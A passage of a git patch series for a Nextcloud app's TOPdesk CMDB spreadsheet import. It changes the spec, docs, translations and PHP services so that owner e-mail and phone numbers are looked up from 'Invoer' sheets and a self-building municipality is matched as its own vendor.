SHALL be written +#### Scenario: A name that several municipalities share is refused +@e2e exclude Needs two municipalities with the same name in the register; tests/Unit/Service/CmdbExportImportServiceTest.php testAnAmbiguousMunicipalityNameIsRefused seeds "Gemeente Bergen" and "gemeente bergen" and asserts 422 MUNICIPALITY_AMBIGUOUS naming both uuids with no save, and tests/Unit/Controller/CmdbImportControllerTest.php asserts the status and the translated message. + +- **GIVEN** two live organisations of type `Municipality` named `Gemeente Bergen` and `gemeente bergen` +- **WHEN** a Nextcloud admin imports a valid export with `municipalityName` `Gemeente Bergen` +- **THEN** the endpoint SHALL answer 422 with error `MUNICIPALITY_AMBIGUOUS` and `details.matches` holding both uuids +- **AND** no object SHALL be written, and no third municipality SHALL be created +- **AND** the section SHALL ask the admin to pick the municipality from the list + ### Requirement: Field mapping SHALL be declarative and executed by OpenRegister's mapping engine (REQ-CMDB-005) The service SHALL map each normalised row with OpenRegister's `MigrationPack\MappingEngine::mapRow()`, once per target pack: module, manufacturer, municipality, usage, business owner. The packs and the import profile SHALL ship as JSON under `lib/Settings/cmdb-import/`. Each pack SHALL pass OpenRegister's `PackDefinitionValidator` when the import starts; an invalid pack, or a missing `MappingEngine`, SHALL stop the import with 503 `MAPPING_UNAVAILABLE` before any row is read. Before mapping, the service SHALL convert the cells of the profile's date columns from Excel serial numbers to `Y-m-d`, SHALL turn numeric id cells into strings without a decimal part, SHALL read a value the profile lists as empty for its column (`NB` in "BNN Classificatie"; dates, "End-of-Life Functioneel" included, are kept as the file has them) as empty, and SHALL add the constants of the row's sheet (`Beheer` = `Beheer geregeld: nee` or `ja`). A mapping error on a mapping marked `required` in the module pack SHALL skip the row. In the manufacturer and owner packs it SHALL mean the row has no manufacturer or no such owner, without a warning. A mapping error on any other mapping SHALL drop only that field and add a row warning naming the column and the value. The reader SHALL keep only the columns that the profile or a pack references, and SHALL discard every other cell when it reads the row. @@ -173,7 +190,7 @@ The service SHALL map each normalised row with OpenRegister's `MigrationPack\Map ### Requirement: A module SHALL be matched on its TOPdesk APPID, so a re-import updates instead of duplicating (REQ-CMDB-006) -For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. When one exists it SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once in one upload, across both sheets, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. +For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. When one exists it SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once on one sheet, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. When an APPID occurs on both sheets, the row of the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB") SHALL be imported, whichever sheet the export lists first, and the other row SHALL be skipped with reason `duplicate APPID in file` and a warning naming the APPID and the winning sheet. Before the file is read, the service SHALL check that the `module`, `organization`, `usage` and `contactPerson` schemas declare every property it matches on (for `module`: `externalKey`, `externalId`, `externalNumber`); when one lacks any, it SHALL answer 503 `SCHEMA_OUTDATED` with `details.schema` and `details.missing`, and SHALL write nothing, because OpenRegister answers a filter on an undeclared property with no rows and every row would be created again. #### Scenario: Re-importing the same export creates no duplicates @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -207,6 +224,23 @@ For each row the service SHALL compute `externalKey` = `topdesk: Date: Mon, 5 Oct 2026 12:43:40 +0200 Subject: [PATCH 136/176] fix(cmdb-import): give owners their e-mail and phone, and keep the municipality one organisation The CMDB sheets leave out the owner's e-mail address and phone number; the "Invoer" sheet each one is derived from has them. The profile now names that sheet per CMDB sheet as a lookup: the reader reads only Middel-ID, Eigenaar e-mail and Eigenaar mobiel nummer there and adds the last two to the CMDB row with the same Applicatie Code. The owner is found by e-mail address, else by exact name (with an address, only a contact without one), and a found contact gets the address and number it lacks; nothing it has is replaced. Both stay in Nextcloud Contacts and never reach a stackiq object. A municipality that builds its own applications names itself as Vendor, which created a Supplier organisation of the same name next to the municipality. A Vendor now matches a Municipality before a Supplier. Co-Authored-By: Claude Opus 5.5 (1M context) --- docs/features/cmdb-import.md | 24 +- l10n/en.js | 2 + l10n/en.json | 2 + l10n/nl.js | 2 + l10n/nl.json | 2 + lib/Service/Cmdb/CmdbImportProfile.php | 74 ++++++- lib/Service/Cmdb/CmdbWorkbookReader.php | 208 ++++++++++++++++-- lib/Service/CmdbExportImportService.php | 136 ++++++++---- lib/Service/StackiqContactSyncService.php | 68 ++++++ .../cmdb-import/topdesk-business-owner.json | 8 +- lib/Settings/cmdb-import/topdesk-profile.json | 10 +- openspec/changes/cmdb-export-import/design.md | 13 +- .../specs/cmdb-export-import/spec.md | 22 +- .../Service/Cmdb/CmdbImportProfileTest.php | 22 +- .../Service/Cmdb/CmdbWorkbookReaderTest.php | 61 +++++ .../Service/CmdbExportImportServiceTest.php | 127 ++++++++++- 16 files changed, 687 insertions(+), 94 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index abf676a36..169017ab1 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -86,8 +86,11 @@ the same organisation. ## The file -The import reads the two CMDB sheets of the export and ignores all others, -including the `Invoer` sheets they are derived from: +The import reads the two CMDB sheets of the export. From the `Invoer` sheet +each CMDB sheet is derived from (`Invoer AIA data` for Onbeh, `Invoer APP +data` for Beheerde) it reads only the owner's e-mail address and phone number, +found by `Middel-ID` = `Applicatie Code` (see [Owners](#owners)). All other +sheets and columns are ignored: | Sheet | What it holds | Recorded on the usage | |---|---|---| @@ -147,6 +150,7 @@ date stored there, including one set by hand. | End-of-Life Functioneel | usage phase-out date | Excel date, stored as is | | (the sheet), Cluster, Applicatie Eigenaar (Afdeling) | usage internal annotation | `Beheer geregeld: ja` or `nee`, the cluster and the department, joined with ` / `; written only when the usage is new or the note is empty | | Applicatie Eigenaar (Persoon), Applicatie Eigenaar (Functie) | usage business owner (contact person) | see [Owners](#owners) | +| Eigenaar e-mail, Eigenaar mobiel nummer (on the `Invoer` sheet) | the owner's contact in Nextcloud Contacts only | see [Owners](#owners) | Columns not in this table are not read at all. That includes Hostingpartij and Leverancier (not mapped yet), the BIV and value columns (Beschikbaarheid, @@ -156,8 +160,11 @@ Top5, COTS and Applicatie Nummer. **Vendors.** Names are compared after trimming, collapsing spaces and ignoring case, so `Fabfrikant`, `Fabfrikant ` and `FABFRIKANT` are one -Supplier. An existing organisation of type Supplier with the same name is -reused. A row without a vendor is imported without a provider. +Supplier. An existing organisation with the same name is reused: a +Municipality first, then a Supplier. A municipality that builds its own +applications (Vendor `Gemeente Rotterdam`) is therefore its own provider, +not a second organisation. Only a name no organisation has creates a +Supplier. A row without a vendor is imported without a provider. ## Repeat imports @@ -212,8 +219,13 @@ administrator (FB contactpersoon) is not read. The identity is kept in **Nextcloud Contacts**, in the first writable address book of the administrator who runs the import, the same as every -other stackiq contact. The CMDB sheets have no e-mail address, so a contact -is found by an exact match on the name, and created when there is none. The +other stackiq contact. The e-mail address and phone number come from the +owner's row on the `Invoer` sheet. A contact is found by e-mail address, +else by an exact match on the name; with an e-mail address, a contact with +the same name but another address is someone else and is not taken. A found +contact gets the e-mail address and phone number it lacks; one it has is +never replaced. No match creates the contact. The e-mail address and phone +number are kept in Contacts only, never on a stackiq object. The stackiq contact person object only holds the link to that contact, the role and the municipality. The same owner on several rows is one contact person. diff --git a/l10n/en.js b/l10n/en.js index 68441f21f..5527d6d47 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1050,6 +1050,8 @@ OC.L10N.register( "The workbook has neither of the sheets %s.": "The workbook has neither of the sheets %s.", "Column \"%1$s\": %2$s": "Column \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optional column \"%s\" not found", + "Sheet \"%1$s\" not found; %2$s not read": "Sheet \"%1$s\" not found; %2$s not read", + "Column \"%1$s\" not found; %2$s not read": "Column \"%1$s\" not found; %2$s not read", "Owner from column \"%s\" could not be resolved": "Owner from column \"%s\" could not be resolved", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Owner from column \"%s\" could not be resolved in Nextcloud Contacts", "Owners skipped: Nextcloud Contacts is unavailable": "Owners skipped: Nextcloud Contacts is unavailable", diff --git a/l10n/en.json b/l10n/en.json index 39231df01..b38502ee3 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1049,6 +1049,8 @@ "The workbook has neither of the sheets %s.": "The workbook has neither of the sheets %s.", "Column \"%1$s\": %2$s": "Column \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optional column \"%s\" not found", + "Sheet \"%1$s\" not found; %2$s not read": "Sheet \"%1$s\" not found; %2$s not read", + "Column \"%1$s\" not found; %2$s not read": "Column \"%1$s\" not found; %2$s not read", "Owner from column \"%s\" could not be resolved": "Owner from column \"%s\" could not be resolved", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Owner from column \"%s\" could not be resolved in Nextcloud Contacts", "Owners skipped: Nextcloud Contacts is unavailable": "Owners skipped: Nextcloud Contacts is unavailable", diff --git a/l10n/nl.js b/l10n/nl.js index f07544ca6..0ecbcad02 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1120,6 +1120,8 @@ OC.L10N.register( "The workbook has neither of the sheets %s.": "De werkmap bevat geen van de tabbladen %s.", "Column \"%1$s\": %2$s": "Kolom \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optionele kolom \"%s\" niet gevonden", + "Sheet \"%1$s\" not found; %2$s not read": "Tabblad \"%1$s\" niet gevonden; %2$s niet ingelezen", + "Column \"%1$s\" not found; %2$s not read": "Kolom \"%1$s\" niet gevonden; %2$s niet ingelezen", "Owner from column \"%s\" could not be resolved": "Eigenaar uit kolom \"%s\" kon niet worden gevonden", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Eigenaar uit kolom \"%s\" kon niet worden gevonden in Nextcloud Contacten", "Owners skipped: Nextcloud Contacts is unavailable": "Eigenaren overgeslagen: Nextcloud Contacten is niet beschikbaar", diff --git a/l10n/nl.json b/l10n/nl.json index f50c85c5c..0c90f1243 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1119,6 +1119,8 @@ "The workbook has neither of the sheets %s.": "De werkmap bevat geen van de tabbladen %s.", "Column \"%1$s\": %2$s": "Kolom \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optionele kolom \"%s\" niet gevonden", + "Sheet \"%1$s\" not found; %2$s not read": "Tabblad \"%1$s\" niet gevonden; %2$s niet ingelezen", + "Column \"%1$s\" not found; %2$s not read": "Kolom \"%1$s\" niet gevonden; %2$s niet ingelezen", "Owner from column \"%s\" could not be resolved": "Eigenaar uit kolom \"%s\" kon niet worden gevonden", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Eigenaar uit kolom \"%s\" kon niet worden gevonden in Nextcloud Contacten", "Owners skipped: Nextcloud Contacts is unavailable": "Eigenaren overgeslagen: Nextcloud Contacten is niet beschikbaar", diff --git a/lib/Service/Cmdb/CmdbImportProfile.php b/lib/Service/Cmdb/CmdbImportProfile.php index d514b6c6d..9237c6a2b 100644 --- a/lib/Service/Cmdb/CmdbImportProfile.php +++ b/lib/Service/Cmdb/CmdbImportProfile.php @@ -212,10 +212,11 @@ public function maxRowsPerSheet(): int { }//end maxRowsPerSheet() /** - * The source sheets, each with the constants it adds to its rows and the - * pack columns it is known not to have. + * The source sheets, each with the constants it adds to its rows, the + * pack columns it is known not to have, and the sheet it looks columns up in. * - * @return array, absentColumns: array}> + * @return array, absentColumns: array, + * lookup: array{sheet: string, on: string, key: string, columns: array}|null}> * * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 */ @@ -240,12 +241,71 @@ public function sheets(): array { $absent = array_values(array_map('strval', $sheet['absentColumns'])); } - $sheets[] = ['name' => $sheet['name'], 'constants' => $constants, 'absentColumns' => $absent]; + $sheets[] = [ + 'name' => $sheet['name'], + 'constants' => $constants, + 'absentColumns' => $absent, + 'lookup' => self::parseLookup(lookup: ($sheet['lookup'] ?? null)), + ]; }//end foreach return $sheets; }//end sheets() + /** + * A sheet's lookup, or null when it is incomplete. + * + * A lookup reads `columns` from the row of `sheet` whose `key` column + * holds the value of the source row's `on` column. The TOPdesk CMDB sheets + * are formulas over the "Invoer" sheets, which carry the owner's e-mail + * address and phone number that the CMDB sheets leave out. + * + * @param mixed $lookup The profile's `lookup` of a sheet. + * + * @return array{sheet: string, on: string, key: string, columns: array}|null + */ + private static function parseLookup(mixed $lookup): ?array { + if (is_array($lookup) === false) { + return null; + } + + $columns = []; + if (is_array($lookup['columns'] ?? null) === true) { + $columns = array_values(array_filter(array_map('strval', $lookup['columns']), static fn (string $column): bool => $column !== '')); + } + + foreach (['sheet', 'on', 'key'] as $field) { + if (is_string($lookup[$field] ?? null) === false || $lookup[$field] === '') { + return null; + } + } + + if ($columns === []) { + return null; + } + + return ['sheet' => $lookup['sheet'], 'on' => $lookup['on'], 'key' => $lookup['key'], 'columns' => $columns]; + }//end parseLookup() + + /** + * The lookup of a source sheet, or null when it has none. + * + * @param string $sheetName The source sheet name. + * + * @return array{sheet: string, on: string, key: string, columns: array}|null + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function lookup(string $sheetName): ?array { + foreach ($this->sheets() as $sheet) { + if ($sheet['name'] === $sheetName) { + return $sheet['lookup']; + } + } + + return null; + }//end lookup() + /** * The names of the source sheets. * @@ -532,6 +592,12 @@ public function referencedColumns(): array { $this->idColumns() ); + foreach ($this->sheets() as $sheet) { + if ($sheet['lookup'] !== null) { + $columns[] = $sheet['lookup']['on']; + } + } + foreach (self::TARGETS as $target) { foreach (($this->pack(target: $target)['fieldMappings'] ?? []) as $mapping) { $columns[] = (string)($mapping['source'] ?? ''); diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php index bad2fd70b..03ac37c6a 100644 --- a/lib/Service/Cmdb/CmdbWorkbookReader.php +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -26,7 +26,12 @@ * to an empty cell, so it yields an empty cell too. * 5. Rows whose kept cells are all empty are dropped; more non-empty rows than * the profile allows stops the import with `TOO_MANY_ROWS` (422). - * 6. Memory is bounded before PhpSpreadsheet parses a sheet: a package that + * 6. A source sheet may name a lookup sheet (the profile's `lookup`): its + * listed columns are added to every source row from the lookup row whose + * key column holds the source row's `on` value. Only the key and the listed + * columns of a lookup sheet are read. A lookup sheet or key column the + * workbook lacks is an import warning, not an error. + * 7. Memory is bounded before PhpSpreadsheet parses a sheet: a package that * unpacks to more than the profile's `maxUncompressedBytes` is * `WORKBOOK_TOO_LARGE` (413), and a source sheet whose last used row lies * beyond twice the row limit is `TOO_MANY_ROWS`. A read filter then @@ -137,7 +142,9 @@ public function isAvailable(): bool { * @param CmdbImportProfile $profile The import profile. * * @return array `rows` (list of {sheet, row, cells, uncached}), `importWarnings` - * (list of {sheet, message}) and `date1904` (bool). + * (list of {sheet, message} with `column` for a missing optional + * column, or `lookupSheet`/`lookupKey` and `lookupColumns` for a + * lookup that could not be read) and `date1904` (bool). * * @throws CmdbImportException WORKBOOK_TOO_LARGE, READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, * MISSING_COLUMN or TOO_MANY_ROWS. @@ -175,31 +182,35 @@ public function read(string $path, CmdbImportProfile $profile): array { ); } + ['lookups' => $lookups, 'warnings' => $lookupWarnings] = self::presentLookups(profile: $profile, sourceSheets: $present, available: $available); + $loaded = array_values(array_unique(array_merge($present, array_column($lookups, 'sheet')))); + $limit = $profile->maxRowsPerSheet(); $lastRow = self::lastReadableRow(limit: $limit); - $this->assertRowSpan(path: $path, sheetNames: $present, lastRow: $lastRow, limit: $limit); + $this->assertRowSpan(path: $path, sheetNames: $loaded, lastRow: $lastRow, limit: $limit); - $headers = $this->load(path: $path, sheetNames: $present, filter: new CmdbReadFilter(lastRow: 1)); + $headers = $this->load(path: $path, sheetNames: $loaded, filter: new CmdbReadFilter(lastRow: 1)); try { $resolved = $this->resolveSheets(spreadsheet: $headers, sheetNames: $present, profile: $profile); + ['lookups' => $lookups, 'columns' => $lookupColumns, 'warnings' => $keyWarnings] = $this->resolveLookups(spreadsheet: $headers, lookups: $lookups); } finally { $headers->disconnectWorksheets(); } - $letters = array_map(static fn (array $columns): array => array_keys($columns), $resolved['columns']); - $spreadsheet = $this->load(path: $path, sheetNames: $present, filter: new CmdbReadFilter(lastRow: $lastRow, columns: $letters)); + $warnings = array_merge($resolved['warnings'], $lookupWarnings, $keyWarnings); + $letters = array_map(static fn (array $columns): array => array_keys($columns), array_merge($lookupColumns, $resolved['columns'])); + $spreadsheet = $this->load(path: $path, sheetNames: $loaded, filter: new CmdbReadFilter(lastRow: $lastRow, columns: $letters)); try { - $rows = []; - foreach ($present as $sheetName) { - $sheetRows = $this->readRows( - worksheet: $spreadsheet->getSheetByName($sheetName), - columns: $resolved['columns'][$sheetName], - sheetName: $sheetName, - limit: $limit + $indexes = []; + foreach ($lookupColumns as $sheetName => $columns) { + $indexes[$sheetName] = self::indexRows( + rows: $this->readRows(worksheet: $spreadsheet->getSheetByName($sheetName), columns: $columns, sheetName: $sheetName, limit: $limit), + key: $lookups[$sheetName]['key'] ); - array_push($rows, ...$sheetRows); } + $rows = $this->readSourceRows(spreadsheet: $spreadsheet, columns: $resolved['columns'], profile: $profile, indexes: $indexes); + $date1904 = false; if (method_exists($spreadsheet, 'getExcelCalendar') === true) { $date1904 = ((int)$spreadsheet->getExcelCalendar() === 1904); @@ -208,9 +219,174 @@ public function read(string $path, CmdbImportProfile $profile): array { $spreadsheet->disconnectWorksheets(); } - return ['rows' => $rows, 'importWarnings' => $resolved['warnings'], 'date1904' => $date1904]; + return ['rows' => $rows, 'importWarnings' => $warnings, 'date1904' => $date1904]; }//end read() + /** + * The rows of every source sheet, with the columns their lookup adds. + * + * @param object $spreadsheet The workbook, loaded through the data filter. + * @param array> $columns Per present source sheet, column letter => column name. + * @param CmdbImportProfile $profile The import profile. + * @param array>> $indexes Per lookup sheet, its rows by normalised key. + * + * @return array, uncached: array}> + * + * @throws CmdbImportException TOO_MANY_ROWS. + */ + private function readSourceRows(object $spreadsheet, array $columns, CmdbImportProfile $profile, array $indexes): array { + $rows = []; + foreach ($columns as $sheetName => $sheetColumns) { + $sheetRows = $this->readRows( + worksheet: $spreadsheet->getSheetByName($sheetName), + columns: $sheetColumns, + sheetName: $sheetName, + limit: $profile->maxRowsPerSheet() + ); + $lookup = $profile->lookup(sheetName: $sheetName); + if ($lookup !== null && isset($indexes[$lookup['sheet']]) === true) { + $sheetRows = self::addLookedUp(rows: $sheetRows, lookup: $lookup, index: $indexes[$lookup['sheet']]); + } + + array_push($rows, ...$sheetRows); + } + + return $rows; + }//end readSourceRows() + + /** + * The lookups of the present source sheets whose lookup sheet the workbook holds, by lookup sheet. + * + * @param CmdbImportProfile $profile The import profile. + * @param array $sourceSheets The present source sheets. + * @param array $available Every sheet of the workbook. + * + * @return array{lookups: array>, warnings: array>} + */ + private static function presentLookups(CmdbImportProfile $profile, array $sourceSheets, array $available): array { + $lookups = []; + $warnings = []; + foreach ($sourceSheets as $sheetName) { + $lookup = $profile->lookup(sheetName: $sheetName); + if ($lookup === null) { + continue; + } + + if (in_array($lookup['sheet'], $available, true) === false) { + $warnings[] = [ + 'sheet' => $sheetName, + 'lookupSheet' => $lookup['sheet'], + 'lookupColumns' => $lookup['columns'], + 'message' => sprintf('Sheet "%s" not found; %s not read', $lookup['sheet'], implode(', ', $lookup['columns'])), + ]; + continue; + } + + // Two source sheets that look up in one sheet read its columns once. + $columns = array_merge(($lookups[$lookup['sheet']]['columns'] ?? []), $lookup['columns']); + $lookups[$lookup['sheet']] = array_merge($lookup, ['columns' => array_values(array_unique($columns))]); + } + + return ['lookups' => $lookups, 'warnings' => $warnings]; + }//end presentLookups() + + /** + * Resolve the key and listed columns of every lookup sheet; a sheet without its key column is dropped. + * + * @param object $spreadsheet The workbook, loaded with the header row only. + * @param array}> $lookups By lookup sheet. + * + * @return array{lookups: array>, columns: array>, warnings: array>} + */ + private function resolveLookups(object $spreadsheet, array $lookups): array { + $columns = []; + $warnings = []; + foreach ($lookups as $sheetName => $lookup) { + $resolved = $this->resolveColumns( + worksheet: $spreadsheet->getSheetByName($sheetName), + referenced: array_merge([$lookup['key']], $lookup['columns']) + ); + if (in_array($lookup['key'], $resolved, true) === false) { + $warnings[] = [ + 'sheet' => $sheetName, + 'lookupKey' => $lookup['key'], + 'lookupColumns' => $lookup['columns'], + 'message' => sprintf('Column "%s" not found; %s not read', $lookup['key'], implode(', ', $lookup['columns'])), + ]; + unset($lookups[$sheetName]); + continue; + } + + $columns[$sheetName] = $resolved; + } + + return ['lookups' => $lookups, 'columns' => $columns, 'warnings' => $warnings]; + }//end resolveLookups() + + /** + * The rows of a lookup sheet by their normalised key; the first row with a key wins. + * + * @param array, uncached: array}> $rows The lookup rows. + * @param string $key The key column. + * + * @return array> Normalised key => cells. + */ + private static function indexRows(array $rows, string $key): array { + $index = []; + foreach ($rows as $row) { + $value = self::lookupKey(value: ($row['cells'][$key] ?? null)); + if ($value !== '' && isset($index[$value]) === false) { + $index[$value] = $row['cells']; + } + } + + return $index; + }//end indexRows() + + /** + * Add the looked-up columns to the rows whose `on` value a lookup row holds. + * + * A looked-up column fills only a cell the source row leaves empty. + * + * @param array, uncached: array}> $rows The source rows. + * @param array{sheet: string, on: string, key: string, columns: array} $lookup The source sheet's lookup. + * @param array> $index The lookup rows by normalised key. + * + * @return array, uncached: array}> + */ + private static function addLookedUp(array $rows, array $lookup, array $index): array { + foreach ($rows as $position => $row) { + $found = ($index[self::lookupKey(value: ($row['cells'][$lookup['on']] ?? null))] ?? null); + if ($found === null) { + continue; + } + + foreach ($lookup['columns'] as $column) { + $current = ($row['cells'][$column] ?? null); + if (($current === null || trim((string)$current) === '') && array_key_exists($column, $found) === true) { + $rows[$position]['cells'][$column] = $found[$column]; + } + } + } + + return $rows; + }//end addLookedUp() + + /** + * A lookup key: trimmed, whitespace collapsed, lower case; '' for an empty or non-scalar value. + * + * @param mixed $value The cell value. + * + * @return string + */ + private static function lookupKey(mixed $value): string { + if (is_scalar($value) === false) { + return ''; + } + + return mb_strtolower(trim((string)preg_replace('/\s+/u', ' ', (string)$value))); + }//end lookupKey() + /** * The last row number the data pass reads. * @@ -409,7 +585,7 @@ private function resolveSheets(object $spreadsheet, array $sheetNames, CmdbImpor } } - $skip = array_merge($required, $profile->absentColumns(sheetName: $sheetName)); + $skip = array_merge($required, $profile->absentColumns(sheetName: $sheetName), ($profile->lookup(sheetName: $sheetName)['columns'] ?? [])); array_push($warnings, ...self::missingOptionalColumns(sheetName: $sheetName, mapped: $mapped, columns: $columns, skip: $skip)); $columnsPerSheet[$sheetName] = $columns; } diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 4f9f8191f..2939b1ac2 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -22,8 +22,9 @@ * * Rules stated once and enforced here: * - A module matches on `externalKey`; a usage on (consumer, module); a - * supplier on its normalised name and type Supplier; a contact person on - * (contactsUid, organization). An organisation that was merged away + * manufacturer on its normalised name, a Municipality of that name before + * a Supplier, so a municipality that builds its own applications stays one + * organisation; a contact person on (contactsUid, organization). An organisation that was merged away * (status `merged`) or is `Inactive` is never matched by name. * - `publicationDate` is set to the import's start on create and never * written on update; neither is `depublicationDate`. @@ -176,7 +177,7 @@ class CmdbExportImportService { private ?array $coordinates = null; /** - * Suppliers by normalised name, loaded once per run. + * Manufacturer organisations by normalised name, loaded once per run. * * @var array|null */ @@ -653,7 +654,7 @@ private function failRow(CmdbImportReport $report, array $entry, string $step, T /** * Translate the reader's import-level warnings. * - * @param array $warnings The reader warnings. + * @param array> $warnings The reader warnings: sheet, message, and column, or lookupSheet/lookupKey with lookupColumns. * * @return array * @@ -663,8 +664,13 @@ private function translateImportWarnings(array $warnings): array { $translated = []; foreach ($warnings as $warning) { $message = $warning['message']; + $columns = implode(', ', ($warning['lookupColumns'] ?? [])); if (isset($warning['column']) === true) { $message = $this->l10n->t('Optional column "%s" not found', [$warning['column']]); + } else if (isset($warning['lookupSheet']) === true) { + $message = $this->l10n->t('Sheet "%1$s" not found; %2$s not read', [$warning['lookupSheet'], $columns]); + } else if (isset($warning['lookupKey']) === true) { + $message = $this->l10n->t('Column "%1$s" not found; %2$s not read', [$warning['lookupKey'], $columns]); } $translated[] = ['sheet' => $warning['sheet'], 'message' => $message]; @@ -909,12 +915,16 @@ private function map(string $target, array $values, int $rowNumber, array &$warn }//end map() /** - * Find or create the Supplier organisation for the row's manufacturer. + * Find or create the organisation of the row's manufacturer. + * + * A name matches one live organisation: a Municipality of that name (the + * municipality builds its own applications, and its Vendor is then its + * own name), else a Supplier. Only no match creates a Supplier. * * @param array $values The normalised row. * @param int $rowNumber The sheet row number. * - * @return string|null The supplier uuid, or null when the row names no manufacturer. + * @return string|null The organisation uuid, or null when the row names no manufacturer. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ @@ -1142,14 +1152,16 @@ private function resolveOwners(array $values, int $rowNumber, string $municipali /** * Resolve the Nextcloud contact of an owner identity. * - * With an e-mail address, StackiqContactSyncService matches on it or - * creates the contact. A new contact goes into the importing admin's - * dedicated "Stackiq CMDB owners" address book, never into the admin's - * own address book. Without one, only a contact whose display name is - * exactly the owner's name (case-insensitive) is reused, so an owner - * known by name alone is not created again on every import. + * The owner is found by e-mail address, else as the contact whose display + * name is exactly the owner's name (case-insensitive); with an e-mail + * address, only a contact without one matches by name, so a namesake with + * another address is not taken. A found contact gets the e-mail address + * and phone number it lacks, never a replacement for one it has. No match + * creates the contact through StackiqContactSyncService, in the importing + * admin's dedicated "Stackiq CMDB owners" address book, never in the + * admin's own address book. * - * @param array $identity name, email and role from the owner pack. + * @param array $identity name, role, email and telefoonnummer from the owner pack. * * @return string|null The contact UID, or null. * @@ -1159,6 +1171,7 @@ private function resolveContactUid(array $identity): ?string { $parts = self::splitPersonName(name: (string)$identity['name']); $displayName = trim($parts['voornaam'] . ' ' . $parts['achternaam']); $email = trim((string)($identity['email'] ?? '')); + $phone = trim((string)($identity['telefoonnummer'] ?? '')); $cacheKey = 'name:' . mb_strtolower($displayName); if ($email !== '') { @@ -1169,57 +1182,88 @@ private function resolveContactUid(array $identity): ?string { return $this->contactUids[$cacheKey]; } - $uid = null; - if ($email === '') { - $uid = $this->contactByDisplayName(displayName: $displayName); + $contact = null; + if ($email !== '') { + $contact = $this->contactSync->findContactForRecord(objectType: 'contactPerson', record: ['email' => $email]); } - if ($uid === null) { - $record = ['voornaam' => $parts['voornaam'], 'achternaam' => $parts['achternaam']]; - if ($email !== '') { - $record['email'] = $email; - } - - $role = trim((string)($identity['role'] ?? '')); - if ($role !== '') { - $record['role'] = $role; - } + if ($contact === null) { + $contact = $this->contactByDisplayName(displayName: $displayName, email: $email); + } - $uid = $this->contactSync->syncToNamedAddressBook( - objectType: 'contactPerson', - record: $record, - addressBookUri: self::OWNER_ADDRESS_BOOK_URI, - displayName: $this->l10n->t('Stackiq CMDB owners') - ); - if ($uid === '') { - $uid = null; + $record = ['voornaam' => $parts['voornaam'], 'achternaam' => $parts['achternaam']]; + foreach (['email' => $email, 'telefoonnummer' => $phone, 'role' => trim((string)($identity['role'] ?? ''))] as $field => $value) { + if ($value !== '') { + $record[$field] = $value; } } + $uid = $this->ownerContact(contact: $contact, record: $record); $this->contactUids[$cacheKey] = $uid; return $uid; }//end resolveContactUid() /** - * The contact whose display name is exactly this one, case-insensitive. + * The contact whose display name is exactly the owner's, case-insensitive. * - * @param string $displayName The display name. + * With an e-mail address, a contact that has another address is someone + * else, so only a contact without one is taken. * - * @return string|null The contact UID, or null. + * @param string $displayName The owner's display name. + * @param string $email The owner's e-mail address, or ''. + * + * @return array|null The contact as IManager::search() returns it, or null. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 */ - private function contactByDisplayName(string $displayName): ?string { - $needle = mb_strtolower($displayName); - foreach ($this->contactSync->searchContacts(query: $displayName) as $contact) { - if (mb_strtolower(trim((string)($contact['name'] ?? ''))) === $needle) { - return (string)$contact['uid']; + private function contactByDisplayName(string $displayName, string $email): ?array { + foreach ($this->contactSync->findContactsByDisplayName(displayName: $displayName) as $contact) { + // IManager::search() gives a multi-valued property as a list. + $emails = (array)($contact['EMAIL'] ?? []); + if ($email === '' || trim((string)($emails[0] ?? '')) === '') { + return $contact; } } return null; }//end contactByDisplayName() + /** + * Complete the found contact with the e-mail address and phone number it lacks, or create the owner's contact. + * + * @param array|null $contact The found contact, or null. + * @param array $record voornaam, achternaam, and email, telefoonnummer and role when known. + * + * @return string|null The contact UID, or null. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + private function ownerContact(?array $contact, array $record): ?string { + $uid = ''; + if ($contact !== null) { + 